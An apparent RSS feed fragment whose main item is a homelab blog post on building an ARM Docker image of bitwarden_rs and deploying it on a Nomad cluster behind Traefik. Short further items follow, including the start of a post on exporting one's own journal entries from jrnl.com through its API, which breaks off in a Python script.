&lt;div class="outline-4" id="outline-container-deploying-bitwarden"&gt;
&lt;h4 id="deploying-bitwarden"&gt;Deploying Bitwarden&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-deploying-bitwarden"&gt;
&lt;p&gt;
I tweeted a while back that I use Bitwarden now.
It's a pretty nice self-hosted password manager that &lt;i&gt;doesn't&lt;/i&gt; require your significant other to try and navigate the inscrutable maze that is GPG!
&lt;/p&gt;

&lt;p&gt;
While the fact that you can host your own Bitwarden server is delightful, I am &lt;i&gt;absolutely not&lt;/i&gt; about to deploy an application under my stewardship that requires a bunch of shell scripts to manage and stands up numerous behemoth containers with things like MS SQL server.
&lt;a href="https://help.bitwarden.com/article/install-on-premise/"&gt;Who would do that?&lt;/a&gt;
You're much better served by deploying something will well-defined configurations and a simpler architecture that doesn't use a bespoke management procedure.
&lt;/p&gt;

&lt;p&gt;
Fortunately, an enterprising OSS developer has released &lt;a href="https://github.com/dani-garcia/bitwarden_rs"&gt;bitwarden&lt;sub&gt;rs&lt;/sub&gt;&lt;/a&gt;, a Bitwarden API server which runs as a simple, easy-to-deploy Rust API server.
It persists data to a sqlite file, and that's it - the provided Docker container even bundles the web UI.
I've been using it for a while, and I can vouch for the fact that it works &lt;i&gt;great&lt;/i&gt;.
&lt;/p&gt;

&lt;p&gt;
All of the preceding infrastructure I've outlined make this really pleasant to setup.
&lt;/p&gt;

&lt;p&gt;
First, we need to build an image.
If your cluster is on x86 CPUs, this isn't necessary, but &lt;code&gt;bitwarden_rs&lt;/code&gt; doesn't ship an ARM container by default.
That said, it isn't hard to make &lt;a href="https://github.com/dani-garcia/bitwarden_rs/blob/master/Dockerfile"&gt;the &lt;code&gt;Dockerfile&lt;/code&gt; for &lt;code&gt;bitwarden_rs&lt;/code&gt;&lt;/a&gt; ARM-compatible.
Here's the diff that made the Docker image buildable and runnable on an ARMv7 CPU:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Diff&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-diff-function"&gt;&amp;#8216;diff-mode&amp;#8217; font used to highlight function names produced by "diff -p".&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-diff-added"&gt;&amp;#8216;diff-mode&amp;#8217; font used to highlight added lines.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-diff-removed"&gt;&amp;#8216;diff-mode&amp;#8217; font used to highlight removed lines.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-diff-context"&gt;&amp;#8216;diff-mode&amp;#8217; font used to highlight context and other side-information.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-diff-hunk-header"&gt;&amp;#8216;diff-mode&amp;#8217; font used to highlight hunk header lines.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-diff-file-header"&gt;&amp;#8216;diff-mode&amp;#8217; font used to highlight file header lines.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-diff-header"&gt;&amp;#8216;diff-mode&amp;#8217; font inherited by hunk and index header fonts.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-diff"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-diff-header"&gt;diff --git a/Dockerfile b/Dockerfile&lt;/code&gt;
&lt;code&gt;index 91e1d95..7a37a09 100644&lt;/code&gt;
&lt;code&gt;--- &lt;/span&gt;&lt;span class="org-diff-header"&gt;&lt;span class="org-diff-file-header"&gt;a/Dockerfile&lt;/span&gt;&lt;/span&gt;&lt;span class="org-diff-header"&gt;&lt;/code&gt;
&lt;code&gt;+++ &lt;/span&gt;&lt;span class="org-diff-header"&gt;&lt;span class="org-diff-file-header"&gt;b/Dockerfile&lt;/span&gt;&lt;/span&gt;&lt;span class="org-diff-header"&gt;&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-diff-hunk-header"&gt;@@ -2,12 +2,12 @@&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-diff-context"&gt; #      https://docs.docker.com/develop/develop-images/multistage-build/&lt;/code&gt;
&lt;code&gt; #      https://whitfin.io/speeding-up-rust-docker-builds/&lt;/code&gt;
&lt;code&gt; ####################### VAULT BUILD IMAGE  #######################&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-diff-indicator-removed"&gt;-&lt;/span&gt;&lt;span class="org-diff-removed"&gt;FROM node:9&lt;/span&gt;&lt;span class="org-diff-removed"&gt;&lt;span class="org-diff-refine-removed"&gt;-alpine&lt;/span&gt;&lt;/span&gt;&lt;span class="org-diff-removed"&gt; as vault&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-diff-indicator-added"&gt;+&lt;/span&gt;&lt;span class="org-diff-added"&gt;FROM node:9 as vault&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-diff-context"&gt;&lt;/code&gt;
&lt;code&gt; ENV VAULT_VERSION "1.27.0"&lt;/code&gt;
&lt;code&gt; ENV URL "https://github.com/bitwarden/web/archive/v${VAULT_VERSION}.tar.gz"&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-diff-indicator-removed"&gt;-&lt;/span&gt;&lt;span class="org-diff-removed"&gt;RUN &lt;/span&gt;&lt;span class="org-diff-removed"&gt;&lt;span class="org-diff-refine-removed"&gt;apk add -&lt;/span&gt;&lt;/span&gt;&lt;span class="org-diff-removed"&gt;-update&lt;/span&gt;&lt;span class="org-diff-removed"&gt;&lt;span class="org-diff-refine-removed"&gt;-cache&lt;/span&gt;&lt;/span&gt;&lt;span class="org-diff-removed"&gt; --&lt;/span&gt;&lt;span class="org-diff-removed"&gt;&lt;span class="org-diff-refine-removed"&gt;upgrade&lt;/span&gt;&lt;/span&gt;&lt;span class="org-diff-removed"&gt; \&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-diff-indicator-added"&gt;+&lt;/span&gt;&lt;span class="org-diff-added"&gt;RUN &lt;/span&gt;&lt;span class="org-diff-added"&gt;&lt;span class="org-diff-refine-added"&gt;apt&lt;/span&gt;&lt;/span&gt;&lt;span class="org-diff-added"&gt;-&lt;/span&gt;&lt;span class="org-diff-added"&gt;&lt;span class="org-diff-refine-added"&gt;get&lt;/span&gt;&lt;/span&gt;&lt;span class="org-diff-added"&gt; update &lt;/span&gt;&lt;span class="org-diff-added"&gt;&lt;span class="org-diff-refine-added"&gt;&amp;amp;&amp;amp; apt&lt;/span&gt;&lt;/span&gt;&lt;span class="org-diff-added"&gt;-&lt;/span&gt;&lt;span class="org-diff-added"&gt;&lt;span class="org-diff-refine-added"&gt;get install&lt;/span&gt;&lt;/span&gt;&lt;span class="org-diff-added"&gt; -&lt;/span&gt;&lt;span class="org-diff-added"&gt;&lt;span class="org-diff-refine-added"&gt;yq&lt;/span&gt;&lt;/span&gt;&lt;span class="org-diff-added"&gt; \&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-diff-context"&gt;     curl \&lt;/code&gt;
&lt;code&gt;     git \&lt;/code&gt;
&lt;code&gt;     tar \&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-diff-hunk-header"&gt;@@ -65,7 +65,7 @@&lt;/span&gt;&lt;span class="org-diff-function"&gt; RUN cargo build --release&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-diff-context"&gt; ######################## RUNTIME IMAGE  ########################&lt;/code&gt;
&lt;code&gt; # Create a new stage with a minimal image&lt;/code&gt;
&lt;code&gt; # because we already have a binary built&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-diff-indicator-removed"&gt;-&lt;/span&gt;&lt;span class="org-diff-removed"&gt;FROM &lt;/span&gt;&lt;span class="org-diff-removed"&gt;&lt;span class="org-diff-refine-removed"&gt;debian:stretch-slim&lt;/span&gt;&lt;/span&gt;&lt;span class="org-diff-removed"&gt;&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-diff-indicator-added"&gt;+&lt;/span&gt;&lt;span class="org-diff-added"&gt;FROM &lt;/span&gt;&lt;span class="org-diff-added"&gt;&lt;span class="org-diff-refine-added"&gt;rust&lt;/span&gt;&lt;/span&gt;&lt;span class="org-diff-added"&gt;&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-diff-context"&gt;&lt;/code&gt;
&lt;code&gt; ENV ROCKET_ENV "staging"&lt;/code&gt;
&lt;code&gt;&lt;/span&gt; ENV ROCKET_WORKERS=10&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
With that, you can build and push the container image to the private registry (or your Docker Hub account):
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;docker build -t bitwarden_rs:master .&lt;/code&gt;
&lt;code&gt;docker tag bitwarden_rs:master registry.example.com/bitwarden_rs:master&lt;/code&gt;
&lt;code&gt;docker push registry.example.com/bitwarden_rs:master&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Now that we have an image we can use, all that's left is the Nomad config.
I mentioned previously that &lt;code&gt;bitwarden_rs&lt;/code&gt; persists data to a SQLite file, so this is another candidate for our shared storage mount across cluster nodes.
Aside from that, we'll be using the web app, so exposing a TLS-secured endpoint over Traefik will be important as well, so I include those tags in the Nomad service stanza.
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;HCL&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-type"&gt;Font used to highlight type and class names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-variable-name"&gt;Font used to highlight variable names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-hcl"&gt;&lt;code&gt;&lt;code&gt;job &lt;span class="org-string"&gt;"bitwarden"&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;datacenters&lt;/span&gt; = &lt;span class="org-rainbow-delimiters-depth-2"&gt;[&lt;/span&gt;&lt;span class="org-string"&gt;"lan"&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-2"&gt;]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;region&lt;/span&gt; = &lt;span class="org-string"&gt;"global"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;type&lt;/span&gt; = &lt;span class="org-string"&gt;"service"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-type"&gt;constraint&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;attribute&lt;/span&gt; = &lt;span class="org-string"&gt;"&lt;/span&gt;&lt;span class="org-variable-name"&gt;${meta.cluster}&lt;/span&gt;&lt;span class="org-string"&gt;"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;operator&lt;/span&gt;  = &lt;span class="org-string"&gt;"=="&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;value&lt;/span&gt;     = &lt;span class="org-string"&gt;"compute"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;  task &lt;span class="org-string"&gt;"bitwarden"&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;driver&lt;/span&gt; = &lt;span class="org-string"&gt;"docker"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-type"&gt;config&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-3"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;image&lt;/span&gt; = &lt;span class="org-string"&gt;"registry.example.com/bitwarden_rs:master"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-type"&gt;port_map&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-4"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-variable-name"&gt;http&lt;/span&gt; = 80&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-rainbow-delimiters-depth-4"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;volumes&lt;/span&gt; = &lt;span class="org-rainbow-delimiters-depth-4"&gt;[&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"/srv/storage/apps/bitwarden:/data"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-rainbow-delimiters-depth-4"&gt;]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-3"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-type"&gt;env&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-3"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;DOMAIN&lt;/span&gt; = &lt;span class="org-string"&gt;"https://bitwarden.example.com"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-3"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-type"&gt;service&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-3"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;name&lt;/span&gt; = &lt;span class="org-string"&gt;"bitwarden"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;port&lt;/span&gt; = &lt;span class="org-string"&gt;"http"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;tags&lt;/span&gt; = &lt;span class="org-rainbow-delimiters-depth-4"&gt;[&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"traefik.enable=true"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"traefik.frontend.entryPoints=http,https"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-rainbow-delimiters-depth-4"&gt;]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-3"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-type"&gt;resources&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-3"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;cpu&lt;/span&gt;    = 200&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;memory&lt;/span&gt; = 64&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-type"&gt;network&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-4"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        port &lt;span class="org-string"&gt;"http"&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-5"&gt;{&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-5"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-rainbow-delimiters-depth-4"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-3"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
That's about it.
The &lt;code&gt;DOMAIN&lt;/code&gt; environment variable is specific to &lt;code&gt;bitwarden_rs&lt;/code&gt; to enable FIDO 2FA with the application.
&lt;/p&gt;


&lt;div class="figure" id="orgcc9d14d"&gt;
&lt;p&gt;&lt;img alt="bw.png" class="mainline" src="../assets/images/bw.png" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span class="figure-number"&gt;Figure 4: &lt;/span&gt;Bitwarden&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-summary"&gt;
&lt;h5 id="summary"&gt;Summary&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-summary"&gt;
&lt;p&gt;
After using a Docker registry and Bitwarden as an example, I hope they illustrate how awesome this setup is for deploying and running applications:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;The runtime artifact is just a Docker image, and building/hosting those custom images is stupid easy. What's more, since your registry is backed by a GlusterFS cluster, I can expand the registry storage arbitrarily by adding nodes on the backend as necessary.&lt;/li&gt;
&lt;li&gt;Traefik makes routing traffic to these containers - over TLS - almost effortless. It doesn't matter &lt;i&gt;where&lt;/i&gt; the applications run (because my ODroid MC1 cluster has four nodes), Traefik will dynamically discover where the services run and balance requests between them.&lt;/li&gt;
&lt;li&gt;I can show you almost the verbatim Nomad configs because my secrets get pulled in via Vault, so credentials like Route53 keys are totally handled by Vault for workloads that need them.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
In the end, I've deployed maybe about a dozen services so far on my little ARM compute cluster.
If there's any interest (leave a comment, send an email, etc.) I can go into more detail, but here's a sampling of what I'm hosting now:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;Prometheus to collect metrics for everything - it sits atop a Gluster mount for storage, and works great with a small resource footprint. I used to use ganglia religiously, but I hit arcane error messages when I started using ganglia in my (admittedly edge-case-ish) scenarios on ARM boards and over Gluster network mounts.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tt-rss.org/"&gt;Tiny Tiny RSS&lt;/a&gt; and a sibling Postgres deployment. This was fun to setup since I point tt-rss at the dynamic &lt;code&gt;postgres.service.consul&lt;/code&gt; name on my network, and Consul acts as the service mesh glue to associate separate workloads on my Nomad cluster. I actually tried to implement the &lt;a href="https://www.vaultproject.io/api/secret/databases/postgresql.html"&gt;Vault Postgres secret backend&lt;/a&gt; to dynamically generate Postgres credentials on-the-fly for tt-rss, but I need to work on that a bit more. Once that's done, tt-rss will use purely ephemeral credentials to connect to my database, and I won't need to store connection credentials anywhere at all.&lt;/li&gt;
&lt;li&gt;Logstash. Calling back to &lt;a href="file:///building-my-perfect-router"&gt;my router post and how I collect netflow data&lt;/a&gt;, I wanted to run Logstash on my cluster and used a similar approach to my router nginx reverse TCP proxy setup in order to send netflow data to my router's loopback address, then proxy that UDP stream out wherever &lt;code&gt;logstash.service.consul&lt;/code&gt; is.&lt;/li&gt;
&lt;li&gt;Elasticsearch. Yes, it's actually performant enough on ARMv7 to be a useful analytics tool. This is (another) blog post that needs to be written, but running Elasticsearch on ARM boards is non-trivial and takes some work to get reasonably performant. The tl;dr secret is to use a JVM that has native ARMv7 support - if you use, for example, a vanilla OpenJDK 8 build on Arch Linux ARM, performance will be &lt;i&gt;so bad&lt;/i&gt; it's nigh-unusable. &lt;a href="https://twitter.com/leothrix/status/1014904740998668289"&gt;The eminently professional @shipilev set me straight on Twitter&lt;/a&gt; despite my snarky tweet, and he provided some great links to ARMv7 OpenJDK 10 builds that work &lt;i&gt;fantastic&lt;/i&gt; with the latest ODroid boards.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-synopsis-and-future-work"&gt;
&lt;h4 id="synopsis-and-future-work"&gt;Synopsis and Future Work&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-synopsis-and-future-work"&gt;
&lt;p&gt;
That's a (somewhat) high-level overview of how I've refactored my homelab from a &lt;i&gt;very&lt;/i&gt; overloaded single server into a distributed, fault-tolerant, cheap-to-operate Nomad cluster based on ARMv7 boards (plus supporting services like Gluster and Vault).
I think it's an improvement over what I had previously.
Is it more complex?
Sure.
But when I (inevitably) hit capacity in the future - whether in compute power or storage space - expanding my homelab is almost trivially easy: add more ODroid HC2 bricks for space, or join a couple more nodes to my Nomad cluster when I need more horsepower.
&lt;/p&gt;

&lt;p&gt;
This wouldn't be educational without some "lessons learned", so:
&lt;/p&gt;

&lt;ol class="org-ol"&gt;
&lt;li&gt;Don't try any ops projects with &lt;code&gt;n&lt;/code&gt; servers without using configuration management for values of &lt;code&gt;n&lt;/code&gt; greater than 1, seriously. I hand-managed my HP N40L, but after writing some &lt;i&gt;very&lt;/i&gt; simple ansible this got a lot easier. As a sub-point, I would suggest &lt;span class="underline"&gt;not&lt;/span&gt; using config management roles you find online - just write them yourself, custom roles end up being very simple when you're not trying to support every distro version under the sun.&lt;/li&gt;
&lt;li&gt;Run some disaster recover scenarios. My problems with Gluster disperse volumes would have been a &lt;span class="underline"&gt;huge&lt;/span&gt; pain if I hadn't pulled a few ethernet plugs to observe failure modes before putting my data on it. Contrast this with Nomad, which handled failures &lt;i&gt;so well&lt;/i&gt; that last week one of my MC1 nodes died and I literally couldn't tell it happened for several hours because each failover piece - Nomad, Consul, Traefik, etc. - handled the member loss gracefully (loose network cable, if you were interested).&lt;/li&gt;
&lt;li&gt;Modern software still isn't "optimize for concurrency" instead of "optimize for clock speed." ODroid XU4s have mostly-okay core clocks speeds, but they &lt;b&gt;do&lt;/b&gt; pack &lt;i&gt;eight&lt;/i&gt; cores into each board. Despite this degree of parallelism, many of the applications I've experimented with can struggle because they expect a fast CPU core and don't spread among multiple very well. In practice this hasn't limited me from running anything &lt;i&gt;yet&lt;/i&gt;, and the ODroids do surprisingly well - but do not expect modern x86&lt;sub&gt;64&lt;/sub&gt; clock speeds (though you will save a ton on electricity).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
In terms of other interesting things I'm doing with my homelab, there are other projects in the works that may be of interest that are slated for more writeups in the future:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;My monitoring story is a combination of Telegraf + Consul + Prometheus service discovery through creative use of Consul's catalog feature. It means I can monitor hosts dynamically when they register in Consul so I don't explicitly configure them for monitoring, an it works great.&lt;/li&gt;
&lt;li&gt;One huge reason for using ARM single-board computers - lower power consumption - is something I haven't benchmarked rigorously yet. Although anectodal power measurements certainly imply it's hella cheaper than a big x86&lt;sub&gt;64&lt;/sub&gt; rig, I have &lt;i&gt;more&lt;/i&gt; plans to measure this more rigorously via my UPS and Prometheus.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>Tyblog</author><pubDate>Mon, 13 Aug 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tjll.net/distributed-homelab-cluster/</guid></item><item><title>Recycling bookmarks</title><link>https://xenodium.com/recycling-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://myplasticfreelife.com/"&gt;My Plastic-free Life&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 13 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/recycling-bookmarks</guid></item><item><title>What Can You Do?</title><link>https://solomon.io/what-can-you-do/</link><description>Last night a friend and I were up into the early hours of the morning talking about philosophy, life and mental health—as one does after several beers.</description><author>Sam Solomon</author><pubDate>Mon, 13 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/what-can-you-do/</guid></item><item><title>Extracting Entries from jrnl.com</title><link>https://sean.lane.sh/posts/2018/08/Extracting-Entries-from-jrnl.com/</link><description>&lt;p&gt;Relating to my previous post today about setting up a blog using AWS, Docker Compose, Caddy Server, and Ghost, I found the need to do some web scraping. A number of years ago, my wife began journaling her thoughts in an online service called LDSJournal.com (at least I believe that was the name). About 2 years ago, this service was acquired by a new site called &lt;a href="https://jrnl.com"&gt;jrnl.com&lt;/a&gt;. It seems to be a fairly neat service, but one thing we were concerned with is preserving the data should the account ever disappear.&lt;/p&gt;
&lt;p&gt;Unfortunately, the only export option with jrnl.com seems to be the ability to download a PDF file that is created when you pay the service to have your journal entries printed physically.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; According to that same source, there allegedly will be an option to backup the journal entries without having to purchase a physical copy, but at the moment it has been over a year since that helpdesk article promised that feature to be completed before the end of 2017. Aside from that, there could be loads of potential issues extracting my wife&amp;rsquo;s writings from the PDF file they produce, depending on how it&amp;rsquo;s put together. With that in mind, I used the following steps to retrieve her content.&lt;/p&gt;
&lt;p&gt;In a similar manner to this article: &lt;a href="https://ianlondon.github.io/blog/web-scraping-discovering-hidden-apis/"&gt;Ian London: Web Scraping - Discovering Hidden APIs&lt;/a&gt;, I used the outgoing connections from the jrnl.com web application to identify their hidden API with which to access the entries. After logging into the service and navigating to the journal entries, you can view the request headers that your browser sends to jrnl.com to retrieve the entries and other content. The API key is one of these headers, with the first portion visible in the image below under &lt;code&gt;Authorization&lt;/code&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;img alt="Getting the API Key" src="https://sean.lane.sh/images/2018/08/jrnl1.png" /&gt;&lt;figcaption&gt;
            &lt;p&gt;Getting the API Key&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Some more poking around showed that the base url for the API is &lt;code&gt;https://jrnl.com/api/v1/&lt;/code&gt;, and the API endpoint for the entries is, unsurprisingly, &lt;code&gt;https://jrnl.com/api/v1/entry&lt;/code&gt;. Using a REST API tool called &lt;a href="https://insomnia.rest/"&gt;Insomnia&lt;/a&gt;, we can plug in the API key and use the endpoint with the limit option set to allow more entries returned: &lt;code&gt;https://jrnl.com/api/v1/entry?limit=250&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then using something like the following Python script, you can convert the posts into a format for import elsewhere. This script is one I used to prepare the entries for import into the &lt;a href="https://ghost.org"&gt;Ghost CMS platform&lt;/a&gt; which I set up following the instructions in my previous post. There is a little more post-processing to get it into Ghost, if you made it this far then following the Ghost documentation will get you the rest of the way. The script assumes that the entries from jrnl.com are isolated and saved as a JSON array in a file called &lt;code&gt;posts.json&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;#! /usr/bin/env python3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;from&lt;/span&gt; datetime &lt;span style="color: #f92672;"&gt;import&lt;/span&gt; datetime
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;import&lt;/span&gt; json&lt;span style="color: #f92672;"&gt;,&lt;/span&gt; os
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;def&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;millis&lt;/span&gt;(x):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;return&lt;/span&gt; int(datetime&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;fromisoformat(x)&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;timestamp() &lt;span style="color: #f92672;"&gt;*&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;1000&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;with&lt;/span&gt; open(&lt;span style="color: #e6db74;"&gt;'posts.json'&lt;/span&gt;) &lt;span style="color: #66d9ef;"&gt;as&lt;/span&gt; f:
